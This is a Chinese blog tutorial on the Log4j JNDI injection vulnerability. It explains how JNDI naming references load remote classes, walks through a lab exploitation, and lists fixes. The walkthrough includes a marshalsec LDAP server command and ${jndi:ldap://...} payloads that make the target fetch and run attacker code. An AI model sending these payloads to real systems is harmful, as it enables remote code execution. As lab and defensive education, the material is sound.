草庐IT

log4j JNDI注入漏洞

candada 2024-02-21 原文

log4j JNDI注入漏洞

目录

一、LDAP介绍

​ LDAP是一种协议,LDAP 的全称是 Lightweight Directory Access Protocol,轻量目录访问协议。

二、JDBC介绍

​ JDBC是一种规范,JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句的Java API。

三、JNDI介绍

​ JNDI是一种规范,JNDI的全称是Java Naming and Directory Interface,Java 命名与目录接口。可以根据名字找到对应资源。

JNDI可以访问的服务:

LDAP目录服务、RMI远程方法调用、DNS、文件系统等。

四、JNDI命名引用

1、在LDAP里面可以存储一个外部的资源,叫做命名引用,对应Reference类。

比如:远程HTTP服务的一个.class文件。

2、如果JNDI客户端,在LDAP服务中找不到对应的资源,就去指定的地址请求。如果是命名引用,会把这个文件下载到本地。

3、如果下载的.class文件包含无参构造函数或静态方法块,加载的时候会自动执行。

五、log4j JNDI注入漏洞

​ Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

个人理解:(不一定正确)
log4j JNDI注入漏洞主要是因为log4j在日志记录的方法中调用了lookup方法,可以通过JNDI去访问LDAP、RMI等服务,又因为ldap存在命名引用,如果不存在指定文件,就会去指定的url下载到本地,如果下载的.class文件包含无参构造函数和静态代码块就会被自动执行,从而造成任意代码执行。

漏洞利用:

1、kali中开启vulhub中log4j的靶机

2、开启获取资源的http服务器

3、把恶意的.java文件编译后的.class文件放到http服务器上(需要用jdk1.8版本)

4、开启RMI/LDAP服务(本机的9999端口)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.1/#TouchFile" 9999

5、bp发送payload

http://192.168.142.133:8983/solr/admin/cores?action=${jndi:ldap://192.168.142.1:9999/test}

修复思路:

1、禁止用户请求参数出现攻击关键字

2、禁止lookup下载远程文件(命名引用)

3、禁止log4j的应用连接外网

4、禁止log4j使用lookup

5、从log4j jar包中删除lookup(适合2.10以下版本)

修复方案:

1、将log4j框架升级到2.17.1版本

2、使用安全产品防护

有关log4j JNDI注入漏洞的更多相关文章

  1. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

  2. ruby - 这个 ruby​​ 注入(inject)魔术是如何工作的? - 2

    我今天看到了一个ruby​​代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem

  3. ruby - Heroku production.log 文件位置 - 2

    我想在heroku.com上查看我的应用程序日志的内容,所以我关注了thisexcellentadvice并拥有我所有的日志内容。但是我现在很想知道我的日志文件实际在哪里,因为“log/production.log”似乎是空的:C:\>herokuconsoleRubyconsoleforajpbrevx.heroku.com>>files=Dir.glob("*")=>["public","tmp","spec","Rakefile","doc","config.ru","app","config","lib","README","Gemfile.lock","vendor","sc

  4. ruby - 防止SQL注入(inject)/好的Ruby方法 - 2

    Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject

  5. 什么是0day漏洞?如何预防0day攻击? - 2

    什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相

  6. Ruby:映射和注入(inject)之间的区别 - 2

    在此处阅读有关SO的各种解释,它们是这样描述的:map:Themapmethodtakesanenumerableobjectandablock,andrunstheblockforeachelement注入(inject):Injecttakesavalueandablock,anditrunsthatblockonceforeachelementofthelist.希望你明白为什么我觉得它们表面上看起来很相似。我什么时候会选择一个而不是另一个,它们之间有什么明显的区别吗? 最佳答案 如果您认为inject也别名为reduce,这

  7. ruby - 为什么 Ruby 注入(inject)方法不能对没有初始值的字符串长度求和? - 2

    为什么下面的代码会报错?['hello','stack','overflow'].inject{|memo,s|memo+s.length}TypeError:can'tconvertFixnumintoStringfrom(irb):2:in`+'from(irb):2:in`blockinirb_binding'from(irb):2:in`each'from(irb):2:in`inject'from(irb):2如果传递了初始值,它就可以正常工作:['hello','stack','overflow'].inject(0){|memo,s|memo+s.length}=>18

  8. ruby - 在 Ruby 中,为什么在注入(inject)/归约方法中将累加器称为 memo? - 2

    出于好奇,为什么在注入(inject)/归约方法中将累加器称为memo?它的命名背后有什么背景/历史吗?它实际上是指“备忘录”还是备忘录代表什么?http://ruby-doc.org/core-2.0/Enumerable.html#method-i-injecthttp://ruby-doc.org/core-2.0/Enumerable.html#method-i-reduce 最佳答案 “memo”表示在内存中,注入(inject)在整个迭代过程中使用来保存中间对象状态,以便在下一次迭代中使用它。

  9. ruby-on-rails - "554 Please activate your Mailgun account. Check your inbox or log in to your control panel to resend the activation email."错误 Ruby on Rails - 2

    我正在使用RubyonRails构建网络应用程序。我正在使用Mailgun作为这个应用程序的邮件程序。当我使用Facebook注册时它工作正常但是当我尝试使用电子邮件和密码注册时,我不断收到此错误“554请激活您的Mailgun帐户。检查您的收件箱或登录到您的控制面板以重新发送激活电子邮件。“我已经在mailgun仪表板中将eamil授权给授权收件人。这是我的代码:Registrations_controller.rbclassRegistrationsControllerconfig/environments/development.rbRails.application.confi

  10. ruby - Chromedriver `driver.manage.logs.get(:browser)` 在 chromedriver 75.0.3770.8 上失败 - 2

    在chromedriver75.0.3770.8上访问driver.manage.logs.get(:browser)-它导致错误#(NoMethodError)的未定义方法“日志”在74.0.3729.6上工作正常来自:https://github.com/SeleniumHQ/selenium/issues/7270 最佳答案 在最近的selenium-webdriver(4.4.0)和最近的Chrome(105)中,manage.logs不见了,但这有效:page.driver.browser.logs.get(:browse

随机推荐